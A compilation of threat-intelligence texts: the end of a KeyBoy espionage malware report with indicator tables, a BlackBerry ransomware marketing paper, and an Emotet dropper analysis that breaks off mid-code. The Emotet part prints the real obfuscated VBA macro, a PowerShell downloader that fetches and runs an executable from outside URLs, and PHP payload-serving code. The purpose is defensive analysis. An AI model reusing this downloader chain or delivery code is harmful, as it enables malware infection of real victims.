Taking a look at the Windows registry for our service, RasAuto, short for Remote Access Auto Connection Manager and historically used for connecting dial-up modems to the internet for example, reveals no specific additional modifications.
`Dllhost.exe` is additionally seen to call back or phone home to a hardcoded range of C2 servers, on ports 53, 80, and 443. `Dllhost` usually has no need to connect to the internet or WAN, and as such it is a possible indicator of malicious activity. Attaching a debugger to `dllhost.exe`, reveals the keylogger files and configuration, replaced DLL file, as well as another folder, which is likely used to store screenshots and other data. Another ASCII string can be discovered in the DLL’s config, `MDDEFGEGETGIZ`, which likely pertains to the specific KeyBoy campaign, or target.
The malware leveraged by KeyBoy has a plethora of functionality, including, but not limited to:
- Screen grabbing/taking screenshots;
- Determine public or WAN IP address (using a public IP service), likely for determining a suited target;
- Gather extended system information, such as information about the operating system, disks, memory and so on;
- A ‘file browser’ or explorer;
- Shutdown and reboot commands (in addition to the point below);
- Launching interactive shells for communicating with the victim machine;
- Download and upload functionality; and
- Usage of custom SSL libraries for masquerading C2 traffic.
Interestingly enough, the malware developers left several unique debug messages, for example:
- `GetScreenCmd from file:%s`
- `Take Screen Error, May no user login!`
- `Take Screen Error, service dll not exists`
Earlier, we mentioned the threat actor uses custom SSL libraries to communicate to the C2. While we have been unable to observe this behavior in any traffic logs, we were able to extract a certificate, which can be found in Appendix B. Converting this certificate to the DER format, we find strings pointing to `jessma.org`, and an email address, `[email protected]`. These belong to projects by a Chinese developer, where one of the tools or libraries is named HP-Socket, which is a ‘High Performance TCP/UDP Socket Component’. Additionally, said library sported an interesting debug path:
`D:\Work\VS\Horse\TSSL\TSSL_v0.3.1_20170722\TClient\Release\TClient.pdb`
In addition to writing a Yara rule for the dropper DLL and finding additional samples as mentioned above, we repeated the same process for the payload DLL.
## Related samples
Hunting further, we have discovered similar samples to the ones described above, with additional interesting debug paths:
- `7d39cef34bdc751e9cf9d46d2f0bef95` - `D:\work\vs\UsbFerry_v2\bin\UsbFerry.pdb`
- `29e44cfa7bcde079e9c7afb23ca8ef86` - `E:\Work\VS Project\cyassl-3.3.0\out\SSLClient_x64.pdb`
Both samples include references to a “work” folder, and a “VS” or “VS Project”. The latter likely points to a Visual Studio project short name, or VS. While the connection initially seems rather weak, it did hit the same Yara rule as mentioned before and the sample with hash `29e44cfa7bcde079e9c7afb23ca8ef86` additionally includes an SSL certificate, which, when converted, points to another custom SSL library, called WolfSSL, which is a “small, fast, portable implementation of TLS/SSL for embedded devices to the cloud”. The same hash or binary also includes what we assess to be a campaign name or KeyBoy version identifier, which is `weblogic20170727`.
Another sample which hit our Yara rule is `7aea7486e3a7a839f49ebc61f1680ba3`, which was first uploaded to VirusTotal on 2017-08-25. This sample appears to be an older variant of KeyBoy, as there are several plain-text strings present, which are consistent with CitizenLab’s report referenced in the introduction.
All samples (hashes) and other indicators are provided in Appendix A.
## Infrastructure
We have mapped out the complete infrastructure that we have discovered, using Maltego, as shown in Figure 9. There was some overlap with the samples and infrastructure, and one email address appears to jump out, which is linked to several domains: `[email protected]`. This email address does not appear to have been observed before.
One other relevant point to note in regards to the infrastructure, is the use of dates, likely relating to campaign names, as part of the C2 servers. Examples include:
- `Weblogic727.xxuz.com` (2017-07-27 campaign);
- `Weblogic1709.zzux.com` (2017-09-17 campaign).
All C2’s are provided in Appendix A.
## Conclusion
In this report, we have analysed what we assess with high confidence, to be (part of) the latest KeyBoy campaign, a threat actor that has been active for several years, and displays at least a medium level of technical and operational know-how. Several connections can be made to CitizenLab’s report from 2016, such as the continued usage of fake services and related DLLs, powerful capabilities, several exports and strings present in the (sometimes decrypted) DLLs, as well as campaign or version identifiers which are reminiscent and consistent with earlier reported identifiers.
While we do not have a clear visibility of targeting, it does appear that this latest campaign targets at least some Western organisations, likely for corporate espionage purposes. Organisations can refer to Appendix A, in order to search for any possible indicators of compromise. Additionally, organisations may wish to disable default administrator credentials, which will prevent unauthorised services from being installed.
## Further Information
Clients who are part of our threat intelligence subscription services can refer to our latest report `CTO-TIB-20171019-01A - KeyBoy's new toys`, which includes more information as well as ruling in order to detect KeyBoy’s latest campaign. If you would like more information on any of the threats discussed in this alert, or you suspect you may be compromised, please feel free to get in touch, by emailing `[email protected]`.
## Appendix A
### Indicators
| Indicator | Type |
|-----------|------|
| 101.200.135.85 | IP address |
| 103.215.81.196 | IP address |
| 103.215.83.193 | IP address |
| 103.86.86.177 | IP address |
| 118.163.165.20 | IP address |
| 142.4.34.92 | IP address |
| 144.48.8.68 | IP address |
| 174.139.29.6 | IP address |
| 180.101.75.169 | IP address |
| 213.183.51.187 | IP address |
| 23.234.27.100 | IP address |
| 27.126.186.74 | IP address |
| 47.89.58.141 | IP address |
| dumblamb.zzux.com | Domain |
| foxsay.mefound.com | Domain |
| greentree.yourtrap.com | Domain |
| kawayi.zzux.com | Domain |
| mianliu.party | Domain |
| mianliu.video | Domain |
| mir2dun.cn | Domain |
| weblogic.ddns.mobi | Domain |
| weblogic.xxuz.com | Domain |
| weblogic1709.justdied.com | Domain |
| weblogic1709.my03.com | Domain |
| weblogic1709.zzux.com | Domain |
| weblogic727.2waky.com | Domain |
| weblogic727.dumb1.com | Domain |
| www.yierzhi.com | Domain |
| xiaomayun.online | Domain |
| yunmian.loan | Domain |
| yunmian.party | Domain |
| yunmian.video | Domain |
| yunnian.online | Domain |
| yunnian.top | Domain |
| [email protected] | Email address |
| sensr9.dat | Filename |
| sensr3.dat | Filename |
| netis9.tsp | Filename |
| netis3.tsp | Filename |
| 52d11a0a5142f0b37aa2d288321ba099 | Hash (MD5) |
| 581ddf0208038a90f8bc2cdc75833425 | Hash (MD5) |
| 64b2ac701a0d67da134e13b2efc46900 | Hash (MD5) |
| 1dbbdd99cb8d7089ab31efb5dcf09706 | Hash (MD5) |
| 7aea7486e3a7a839f49ebc61f1680ba3 | Hash (MD5) |
| a55b0c98ac3965067d0270a95e60e87e | Hash (MD5) |
| 7d39cef34bdc751e9cf9d46d2f0bef95 | Hash (MD5) |
| 5708e0320879de6f9ac928046b1e4f4e | Hash (MD5) |
| a6903d93f9d6f328bcfe3e196fd8c78b | Hash (MD5) |
| 292843976600e8ad2130224d70356bfc | Hash (MD5) |
| 2e04cdf98aead9dd9a5210d7e601cca7 | Hash (MD5) |
| cf6f333f99ee6342d6735ac2f6a37c1e | Hash (MD5) |
| ac9b8c82651eafff9a3bbe7c69d69447 | Hash (MD5) |
| 29e44cfa7bcde079e9c7afb23ca8ef86 | Hash (MD5) |
| d6ddecdb823de235dd650c0f7a2f3d8f | Hash (MD5) |
| 42c63de7dac16366dfea14fa9ddac3cd | Hash (MD5) |
| f21e3b927d269b0622d94c55db9d2808758379aa413c10971fa745cd6e0503c0 | Hash (SHA-256) |
| f15d2e9deaeb495fe8a62c05993b9f69bf07331910ed2483e1bab7d31d30231b | Hash (SHA-256) |
| f3f55c3df39b85d934121355bed439b53501f996e9b39d4abed14c7fe8081d92 | Hash (SHA-256) |
| 750f4a9ae44438bf053ffb344b959000ea624d1964306e4b3806250f4de94bc8 | Hash (SHA-256) |
| 12dfb83a3866c93cd1c08652ed0a16a492777355985a973ef50973896795eb34 | Hash (SHA-256) |
| 5d0aef905c9f8f74bb82eba89c11ec5b27d35e560b5cacf81087fca0775a8bfa | Hash (SHA-256) |
| b4535aa71da630992392c3c202d59274ce49a3fe4f1ac01d7434f1dceeda47e5 | Hash (SHA-256) |
| 34f740e5d845710ede1d942560f503e117600bcc7c5c17e03c09bfc66556196c | Hash (SHA-256) |
| a6e9951583073ab2598680b17b8b99bab280d6dca86906243bafaf3febdf1565 | Hash (SHA-256) |
| d5c27308f50a9c6d8ccd01269ca09a7a13e1615945b8047c4e55c610718e317e | Hash (SHA-256) |
| b5782f67054df36c49d9394c12c8bbbca69bfd0f9ccdcf934bc402c6881eca66 | Hash (SHA-256) |
| 1d716cee0f318ee14d7c3b946a4626a1afe6bb47f69668065e00e099be362e22 | Hash (SHA-256) |
| 0f9a7efcd3a2b1441834dae7b43cd8d48b4fc1daeb2c081f908ac5a1369de753 | Hash (SHA-256) |
| 97fa07a035f7b9ad9cc5c7fd3a5df4b8692e748ca5c40067446632f9a3c25952 | Hash (SHA-256) |
| fc84856814307a475300d2a44e8d15635dedd02dc09a088a47d1db03bc309925 | Hash (SHA-256) |
| 842cb2bed58459445cd4c6f22acf4b6f77f8b93c9ce202aa54539c1d2b0d45c1 | Hash (SHA-256) |
## Contact us
**Bart Parys**
Threat Intelligence Analyst
Email: [email protected] |
# State of Ransomware Industry Update ANZ 2020
The increased reporting of cyber incidents among large companies in ANZ in the first half of 2020 has been clearly evident. A handful of ransomware families are dominating these attacks. In this paper, we investigate some of the tactics used by these ransomware families, their high-profile victims, and the strategies used to defend against these threats.
It is not uncommon for many organisations to fail to report breaches, or worse, to be completely unaware that they have even taken place. Ransomware is being used for much more than just blackmail. It can be used as a diversion; first harvesting credentials for later use, and then encrypting the drive to keep IT staff occupied while the attacker covers their tracks. More recently, attackers have accomplished even more nefarious objectives, like sending critical data to the dark web, or auctioning it to the highest bidder.
## Everything as a Service
Ransomware can be easily obtained and used by criminals that have little to no hacking skills, in what is known as Ransomware as a Service (RaaS). By establishing a network of affiliate partners, malware authors are able to spread their ransomware widely and scale earnings dramatically in the process. Many threat actors have evolved from mass-volume consumer attacks, opting instead for more carefully planned and targeted attacks aimed at maximising disruption. By using a RaaS model, the authors of malware are significantly lowering the bar for launching such attacks, making this particular form of cybercrime accessible and profitable for a larger pool of potential criminals.
Many of our customers sought out BlackBerry because it is highly effective in preventing ransomware attacks. In each case, BlackBerry was able to analyse, predict and prevent the threat, with no updates required, on average over 1000 days before the malware was first discovered in the wild.
## ANZ in the Headlines
Toll Group, the Melbourne-based global logistics company, has been hit twice by ransomware attacks in 2020 - in January by MailTo and in June by Nefilim. Also in June, government agency ServiceNSW, steel maker BlueScope, and a financial services company, MyBudget, all made the headlines due to high-profile cyber-attacks.
## Anatomy of an Attack – Emotet, Trickbot and Ryuk
There are a number of vectors ransomware can take to access a computer. One of the most common delivery systems is phishing - attachments that come to the victim in an email, appearing as a file from a trusted source. Often clever social engineering is used to make the email appear legitimate. Emotet, as an example, can scrape mail files and craft mail to colleagues using previous content. Emotet malware is typically used as a loader for TrickBot campaigns. Once loaded, TrickBot uses several modules to carry out various activities on the victim’s system. It allows for lateral movement and enables utilities to be loaded manually by the operators. Once post-exploitation tools are loaded, the domain controller (DC) is attacked. When privileged access to the DC is acquired, ransomware such as Ryuk can be deployed across the network at the botnet operator’s will.
Another vulnerability that has been exposed is Remote Desktop Protocol (RDP). Used to enable remote access, RDP has a history of insecurity, leading to attacks either by brute force or exploitation. Perhaps the most infamous instance of ransomware, WannaCry, also took advantage of exploitable networking protocols. Unfortunately, traditional defensive measures such as anti-virus agents are unlikely to stop ransomware, since the attacker can easily disable them.
## True Predictive Prevention
Many of our customers sought out BlackBerry because it is highly effective in preventing ransomware attacks. The table below shows the BlackBerry advantage in relation to the most prominent ransomware families in ANZ. In each case, BlackBerry was able to analyse, predict and prevent the threat, with no updates required, on average over 1000 days before the malware was first discovered in the wild.
| Ransomware Family | First Discovered | BlackBerry Advantage | Predecessor Family | Deployment Method | Targeting | Crypto Algorithms | Extensions | Payment |
|---------------------------|------------------|----------------------|--------------------|-------------------|--------------------|---------------------------|---------------------|--------------------|
| Phobos | Dec 2018 | 1229 Days | CrySiS/Dharma | Spam, RDP Creds | In-discriminate | RSA1024+, AES256 | .phobos | 0.1-2 BTC |
| Ryuk | Aug 2018 | 1340 Days | Hermes | Spear Phish, Exploit | Large Businesses | RSA4096+, AES256 | .ryk | 15-50 BTC |
| Sodinokibi/Sodin/Revil | April 2019 | 1343 Days | GandCrab | Oracle Exploit | Large MSSPs | Curve25519+, Salsa20+ | random | 5-300 BTC |
| Zeppelin | Nov 2019 | 1496 Days | VegaLocker/Buran | MSSPs | High profile victims | RSA4096+, AES256 | random | unknown |
| Ako | Jan 2020 | 1000 Days | Medusa | RDP Exploit/Stolen Creds | Large Businesses | RSA2048+, AES | random | $3,000 |
| Mailto | Aug 2019 | 1567 Days | Netwalker | Phishing, DLL Injection | Large Businesses | Curve25519+, Salsa20+ | random | Varies |
| Nefilim | March 2020 | 1448 Days | Nemty | RDP Exploit | Large Institutions | RSA2048+, AES128 | .nefilim | Varies + Exfiltration |
| STOP/Djvu | Dec 2018 | 1714 Days | Brand new family | Cracks and adware | In-discriminate | Salsa20, ChaCha | .djvu, .tro, others | ~$1000 |
| Maze | May 2019 | 1464 Days | Brand new family | Email, RDP, Exploits | Large Institutions | RSA2048+, AES | random | Varies + Exfiltration |
Contact us to find out how to minimise the risks of a ransomware breach by transitioning from a reactive to a prevention-first security posture.
*Source: SE Labs Report. BlackBerry acquired Cylance in February 2019. SE Labs conducted its study on the CylancePROTECT® solution, which is now known as BlackBerry® Protect.*
## About BlackBerry
BlackBerry (NYSE: BB; TSX: BB) provides intelligent security software and services to enterprises and governments around the world. The company secures more than 500M endpoints including 175M cars on the road today. Based in Waterloo, Ontario, the company leverages AI and machine learning to deliver innovative solutions in the areas of cybersecurity, safety and data privacy solutions, and is a leader in the areas of endpoint security management, encryption, and embedded systems. BlackBerry’s vision is clear - to secure a connected future you can trust. BlackBerry. Intelligent Security. Everywhere. |
# Emotet Droppers
This article was published on the 16th of February 2019 and updated on the 19th of March 2020, and on the 3rd of November 2021. The Emotet trojan has been active for multiple years and has delivered numerous payloads. Initially, the trojan injected itself during the payment process of a purchase, but over the years, the malware has transitioned to also drop other trojans. At the time of writing, the main spreading method is via spam campaigns. The e-mails contain a malicious attachment that is often referred to as an invoice.
## Sample Information
The samples were shared with me by b1nary on Telegram. Note that URLs in the macro differ from the wrongly configured website that is analyzed later on. This has no influence on the analysis, but it is pointed out for transparency. One can download all the required files from VirusBay, Malware Bazaar, or MalShare. Details are given below.
- **MD5**: 52b94921d9e57a2009fb0c562aab25bc
- **SHA-1**: 32bcf8bbf7a5a3e88f4025179f4be9445b8e7ec8
- **SHA-256**: 59c3bb00017dd3bb1abd4d42d9a50df24fcd320bacf5335d1c030b772dc796c5
## Prerequisite – PHP
Later on, PHP files will be analyzed and executed to obtain data. For those following along, PHP needs to be installed. To install PHP on Debian-based systems, one can simply use the command below.
```bash
sudo apt-get install php7.2-cli
```
For Windows, the information is given on the PHP site.
## Stage 1 – The Malicious Macro
The attachment, which was received on the first of February 2019, is named `Factura_OS-0689.doc`. Upon opening it (with macros disabled, on a non-Windows-based system to avoid an accidental infection), a social engineering attempt becomes apparent. Below, the text within the image is given.
**To open the document, follow these steps:**
- This document is only available for desktop or laptop versions of Microsoft Office Word.
- Click the "Enable editing" button from the yellow bar above.
- Once you have enabled editing, please click the "Enable content" button from the yellow bar above.
Aside from the oddly phrased sentences, this is an obvious attempt to lure an unsuspecting victim into executing the payload of the document.
The document contains one form (named `f`), three modules (`d40tNZH`, `tzUxn`, and `VCAZiq`) with a single function in each module (respectively `wFjUXJ`, `KKZUbw`, and `love`). To ensure the execution of the macro when the file is opened, the `Document_Open` event is used. The code that is executed when this event is triggered is given below.
```vba
Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
Sub Document_Open()
If 45 * 13 = 3562 - 3555 Then
tDtKeGn = "q6Cxy"
End If
Dim tu96ocCK As Single
tu96ocCK = Round(20521.794670846)
Dim hAanT8Em2 As Double
hAanT8Em2 = Sgn(58540.935390342)
Dim HMkjb As Long
HMkjb = (3330 / 370) + (6)
love "o"
End Sub
```
At first, multiple variables are declared and instantiated. None of them are used within the code after the instantiation. The function `love` is called at last, with a single parameter: the string `o`. The code for the `love` function is given below.
```vba
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub love(IdZALGS)
Dim EQUqVg9N As String
EQUqVg9N = Len(YLPIkZX87)
Dim yDnCg14 As Long
yDnCg14 = (818 - 791) - (13)
Dim yD7Emk2X5 As Long
yD7Emk2X5 = -833133810
Dim T7056ZwR As Long
T7056ZwR = Sgn(0)
Dim sBoDH7mZK As Boolean
sBoDH7mZK = False
cVMhaxQv = "w"
Call Shell(KKZUbw(1) & IdZALGS & cVMhaxQv & wFjUXJ, 0)
End Sub
```
The layout of this function is similar to the previous one, in the sense that it first declares and instantiates multiple variables which are never used. Note that the function argument `IdZALGS` is used and equals `o`. The `Call Shell` method contains all the malicious content. The second argument (the `0`) sets the window mode of the shell. The value zero equals `vbHide`, meaning the shell window is hidden from the user.
Below, the functions `KKZUbw(1)` and `wFjUXJ` are analyzed. The variable `cVMhaxQv` equals `w`, as it is set to in the line above the `Call Shell` function. The shell command, in which the two known variables are replaced by their value, is given below for context.
```vba
Call Shell(KKZUbw(1) & "o" & "w" & wFjUXJ, 0)
```
The code for `KKZUbw` is given below.
```vba
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Public Function KKZUbw(OVOcS As Integer)
Dim FC4Vz As Integer
FC4Vz = Sgn(-24987)
KKZUbw = "p"
End Function
```
The provided variable `OVOcS` equals `1`, as it was passed from `love`. Both the provided argument and the integer `FC4Vz` are never used. The function `KKZUbw` is set to equal `p`, which is the return value.
For additional context, the shell command with substituted variables is given below.
```vba
Call Shell("p" & "o" & "w" & wFjUXJ, 0)
```
The last function that is called is `wFjUXJ`. The code is given below.
```vba
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Public Function wFjUXJ()
Dim ohw7OLNTg As Object
Set ohw7OLNTg = New f
Dim YVyOsk As String
YVyOsk = ohw7OLNTg.de.Text
wFjUXJ = YVyOsk
End Function
```
The variable `ohw7OLNTg` is first declared as a generic object. One line later, it is defined as `f`, the form object within the document. The form has a button, named `es`, which displays the text `Cc3KM`. Additionally, a textbox with the name `de` is present. The text within the textbox is given below.
```plaintext
ershell $u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect - com6236.9355943074obj6236.9355943074ect wsc6236.9355943074ript.she6236.9355943074ll;$WrDq5hf = new-object sys6236.9355943074tem.net.web6236.9355943074client;$h2JAbj3E = new-object random;$Lcik8RtZ = \"6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://pr course.ru/7WN7n1n,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236 admin/Attachments/FJhztkIS,6236.9355943074h6236.9355943074t6236.9355943074t6236.935594 = $h2JAbj3E.nex6236.9355943074t(1, 65536);$XqzWsIE = \"c:\win6236.9355943074dows\temp\put6236.9355943074ty.exe\";for6236.9355943074each($VZ in $Lcik8RtZ) {try{$WrDq5hf.dow6236.9355943074nlo6236.9355943074adf6236.9355943074ile($VZxSuD9.ToS62 $XqzWsIE);sta6236.9355943074rt-pro6236.9355943074cess $XqzWsIE;break;}catch{}}'.replace('6236.9355943074', $xZGUua);$Zvg3H6 = '';iex($u5XQYhS);
```
Since the `pow` should be in front, the first word in the string is `powershell`. The complete script is given below.
```plaintext
powershell $u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect - com6236.9355943074obj6236.9355943074ect wsc6236.9355943074ript.she6236.9355943074ll;$WrDq5hf = new-object sys6236.9355943074tem.net.web6236.9355943074client;$h2JAbj3E = new-object random;$Lcik8RtZ = \"6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://pr course.ru/7WN7n1n,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236 admin/Attachments/FJhztkIS,6236.9355943074h6236.9355943074t6236.9355943074t6236.935594 = $h2JAbj3E.nex6236.9355943074t(1, 65536);$XqzWsIE = \"c:\win6236.9355943074dows\temp\put6236.9355943074ty.exe\";for6236.9355943074each($VZ in $Lcik8RtZ) {try{$WrDq5hf.dow6236.9355943074nlo6236.9355943074adf6236.9355943074ile($VZxSuD9.ToS62 $XqzWsIE);sta6236.9355943074rt-pro6236.9355943074cess $XqzWsIE;break;}catch{}}'.replace('6236.9355943074', $xZGUua);$Zvg3H6 = '';iex($u5XQYhS);
```
## Stage 2 – The Dropped Powershell Script
The Powershell code is best read with a couple of new lines, as is seen below.
```plaintext
$u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect - com6236.9355943074obj6236.9355943074ect wsc6236.9355943074ript.she6236.9355943074ll;$WrDq5hf = new-object sys6236.9355943074tem.net.web6236.9355943074client;$h2JAbj3E = new-object random;$Lcik8RtZ = \"6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://pr course.ru/7WN7n1n,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236 admin/Attachments/FJhztkIS,6236.9355943074h6236.9355943074t6236.9355943074t6236.935594 = $h2JAbj3E.nex6236.9355943074t(1, 65536);$XqzWsIE = \"c:\win6236.9355943074dows\temp\put6236.9355943074ty.exe\";for6236.9355943074each($VZ in $Lcik8RtZ) {try{$WrDq5hf.dow6236.9355943074nlo6236.9355943074adf6236.9355943074ile($VZxSuD9.ToS62 $XqzWsIE);sta6236.9355943074rt-pro6236.9355943074cess $XqzWsIE;break;}catch{}}'
.replace('6236.9355943074', $xZGUua);
$Zvg3H6 = '';
iex($u5XQYhS);
```
The variable `$xZGUua` is equal to nothing, hence the string `6236.9355943074` is simply removed from the code above. Doing so results in readable code. To improve readability, simply replace the semicolons with `;\n` in a text editor. After each command, a new line is added. The readable code is given below.
Note that `iex($u5XQYhS);` is used to execute the Powershell script that is described below. The function `iex` stands for `Invoke-Expression`, as can be seen in the Microsoft documentation. Below, the script that will be executed is analyzed.
```plaintext
$IY2E4 = new-object -comobject wscript.shell;
$WrDq5hf = new-object system.net.webclient;
$h2JAbj3E = new-object random;
$Lcik8RtZ = "http://pro-course.ru/7WN7n1n,http://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhztkIS,http://de.thevoucherstop.com/TxJjRtZj,http://3kiloafvallen.";
$zKrReq4A = $h2JAbj3E.next(1, 65536);
$XqzWsIE = "c:\windows\temp\putty.exe";
foreach($VZxSuD9 in $Lcik8RtZ) {
try {
$WrDq5hf.downloadfile($VZxSuD9.ToString(), $XqzWsIE);
start-process $XqzWsIE;
break;
} catch {}
}
```
The script cycles through all the domain names and tries to download the next stage to the victim’s computer, more specifically to `C:\windows\temp\putty.exe`. If the download succeeds, the downloaded file is executed. If an error occurs, the next URL is tried since the catch clause is left empty. If all of the URLs are unavailable, the script terminates and the victim’s device remains unaffected.
## Stage 3 – The Wrongly Configured Website
Generally, the visited site simply returns the payload. In this case, a wrongly configured website was found, which let the site function as an open directory instead. The PHP file that is analyzed in this stage, and the result of it (stage 4), are generally left unobserved, as it is server-sided code. The wrongly configured website is given below, although it is now unavailable.
```plaintext
http://adsuide.club/y77QTKhV/
```
The content of the PHP file was beautified to increase readability. Note that the payload is omitted here due to its length, namely 196,393 characters. The code is given below.
```php
<?php
function fn5c62c1bcb819b($s) {
$x = '';
for ($i = 0, $n = strlen($s); $i < $n; $i+= 2) {
$x.= pack('H*', substr($s, $i, 2));
}
return $x;
}
$n5c62c1bcb81d1 = fn5c62c1bcb819b('6576616c28677a696e666c617465286261736536345f6465636f64652822');
$n5c62c1bcb8206 = fn5c62c1bcb819b('222929293b');
eval($n5c62c1bcb81d1 . '[omitted due to size]' . $n5c62c1bcb8206);
```
The function `fn5c62c1bcb819b` is used to transform two strings using the `pack` function from PHP. The `H` is used to provide information about the string type, in this case hexadecimal with the high nibble first. The asterisk is used to indicate that the whole string should be taken into account. The function can therefore be refactored to `decode`.
The variables `$n5c62c1bcb81d1` and `$n5c62c1bcb8206` are equal to the result of the `decode` function. Decoding both strings provides more information. In the code below, the `[base64-encoded-value-here]` is where the payload originally resided.
```php
eval(gzinflate(base64_decode("[base64-encoded-value-here]")));
```
The data is encoded in two ways, meaning it should be decoded before it can be executed. The complete function is given below. Note that the `eval` function call has been removed, since the payload shouldn’t be executed. Instead, it has been replaced with `file_put_contents` to save the file for a more detailed analysis. The path that has been used should be absolute.
```php
<?php
function decode($stringToDecode) {
$output = '';
for ($i = 0, $n = strlen($stringToDecode); $i < $n; $i+= 2) {
$output.= pack('H*', substr($stringToDecode, $i, 2));
}
return $output;
}
$commandPart1 = decode('6576616c28677a696e666c617465286261736536345f6465636f64652822');
$commandPart2 = decode('222929293b');
echo "Command equals:\n";
echo $commandPart1 . "[base64-encoded-value-here]" . $commandPart2 . "\n";
file_put_contents("/home/libra/Desktop/emotet/stage4.php", (gzinflate(base64_decode('[omitted due to size]'))));
```
Note that the file that is written to the disk is a PHP file, since the `eval` function executes the given string as PHP code.
## Stage 4 – Returning the Payload
The complete beautified PHP file is given below. To retain readability, it will be analyzed in parts.
```php
<?php
error_reporting(0);
set_time_limit(0);
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);
header('Expires: Tue, 01 Jan 1970 00:00:00 GMT');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Cache-Control: post-check=0, pre-check=0', false);
header('Pragma: no-cache');
if (function_exists('opcache_invalidate')) {
opcache_invalidate(__FILE__, true);
}
class O {
private $content_ = '[omitted due to size]';
private $contentName_ = 'iMDbapCVgUb.exe';
private $contentType_ = 'application/octet-stream';
private $regex_ = array(
array(
'(?:(?:Orca-)?Android|Adr)[ /](?:[a-z]+ )?(\\d+[\\.\\d]+)',
'Android|Silk-Accelerated=[a-z]{4,5}',
'BeyondPod|AntennaPod|Podkicker|DoggCatcher|Player FM|okhttp|Podcatcher Deluxe'
),
array(
'CFNetwork/758\\.4\\.3',
'CFNetwork/758\\.3\\.15',
'CFNetwork/758\\.2\\.[78]',
'CFNetwork/758\\.1\\.6',
'CFNetwork/758\\.0\\.2',
'CFNetwork/711\\.5\\.6',
'CFNetwork/711\\.4\\.6',
'CFNetwork/711\\.3\\.18',
'CFNetwork/711\\.2\\.23',
'CFNetwork/711\\.1\\.1[26]',
'CFNetwork/711\\.0\\.6',
'CFNetwork/672\\.1',
'CFNetwork/672\\.0',
'CFNetwork/609\\.1',
'CFNetwork/60[29]',
'CFNetwork/548\\.1',
'CFNetwork/548\\.0',
'CFNetwork/485\\.13',
'CFNetwork/485\\.12',
'CFNetwork/485\\.10',
'CFNetwork/485\\.2',
'CFNetwork/467\\.12',
'CFNetwork/459',
'(?:CPU OS|iPh(?:one)?[ _]OS|iOS)[ _/](\\d+(?:[_\\.]\\d+)*)',
'(?:Apple-)?(?:iPhone|iPad|iPod)(?:.*Mac OS X.*Version/(\\d+\\.\\d+)|; Opera)?',
'Podcasts/(?:[\\d\\.]+)|Instacast(?:HD)?/(?:\\d\\.[\\d\\.abc]+)|Pocket Casts, iOS|Overcast|Castro|Podcat|i[cC]atcher',
'iTunes-(iPod|iPad|iPhone)/(?:[\\d\\.]+)'
),
array(
'Maemo',
'Arch ?Linux(?:[ /\\-](\\d+[\\.\\d]+))?',
'VectorLinux(?: package)?(?:[ /\\-](\\d+[\\.\\d]+))?',
'Linux; .*((?:Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slackware|SUSE|CentOS|BackTrack))[ /](\\d+[\\.\\d]+)',
'(Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slackware|SUSE|CentOS|BackTrack)(?:(?: Enterprise)?Linux)?(?:[ /\\-](\\d+[\\.\\d]+))?',
'Linux(?:OS)?[^a-z]'
),
array(
'CFNetwork/760',
'CFNetwork/720',
'CFNetwork/673',
'CFNetwork/596',
'CFNetwork/520',
'CFNetwork/454',
'CFNetwork/(?:438|422|339|330|221|220|217)',
'CFNetwork/12[89]',
'CFNetwork/1\\.2',
'CFNetwork/1\\.1',
'Mac OS X(?: (?:Version )?(\\d+(?:[_\\.]\\d+)+))?',
'Mac (\\d+(?:[_\\.]\\d+)+)',
'Darwin|Macintosh|Mac_PowerPC|PPC|Mac PowerPC|iMac|MacBook'
),
array(
'CYGWIN_NT-10.0|Windows NT 10.0|Windows 10',
'CYGWIN_NT-6.4|Windows NT 6.4|Windows 10',
'CYGWIN_NT-6.3|Windows NT 6.3|Windows 8.1',
'CYGWIN_NT-6.2|Windows NT 6.2|Windows 8',
'CYGWIN_NT-6.1|Windows NT 6.1|Windows 7',
'CYGWIN_NT-6.0|Windows NT 6.0|Windows Vista',
'CYGWIN_NT-5.2|Windows NT 5.2|Windows Server 2003 / XP x64',
'CYGWIN_NT-5.1|Windows NT 5.1|Windows XP'
),
array(
'.?'
)
);
private function spabbd98($sp1bd672) {
foreach($this->regex_ as $spda961f => $spd59ff0) {
foreach($spd59ff0 as $sp439cf2) {
$sp439cf2 = '/(?:^|[^A-Z_-])(?:' . str_replace('/', '\\/', $sp439cf2) . ')/i';
if (preg_match($sp439cf2, $sp1bd672)) {
return $spda961f;
}
}
}
return -1;
}
public function execute() {
$sp1cb870 = '.' . sha1(basename(dirname(__FILE__)));
touch($sp1cb870);
$spdfc158 = fopen($sp1cb870, 'r+');
if ($spdfc158 !== false) {
if (flock($spdfc158, LOCK_EX)) {
$sp7c7c2a = array();
$spe8c644 = filesize($sp1cb870);
if ($spe8c644 > 0) {
$sp7c7c2a = json_decode(fread($spdfc158, $spe8c644), true);
}
$sp6345e2 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$spda961f = $this->spabbd98($sp6345e2);
if ($spda961f > 0) {
if (!isset($sp7c7c2a[$spda961f]) || !is_int($sp7c7c2a[$spda961f])) {
$sp7c7c2a[$spda961f] = 0;
}
$sp7c7c2a[$spda961f]++;
}
fseek($spdfc158, 0);
fwrite($spdfc158, json_encode($sp7c7c2a));
fflush($spdfc158);
flock($spdfc158, LOCK_UN);
}
fclose($spdfc158);
}
header('Content-Type: ' . $this->contentType_);
header('Content-Disposition: attachment; filename="' . $this->contentName_ . '"');
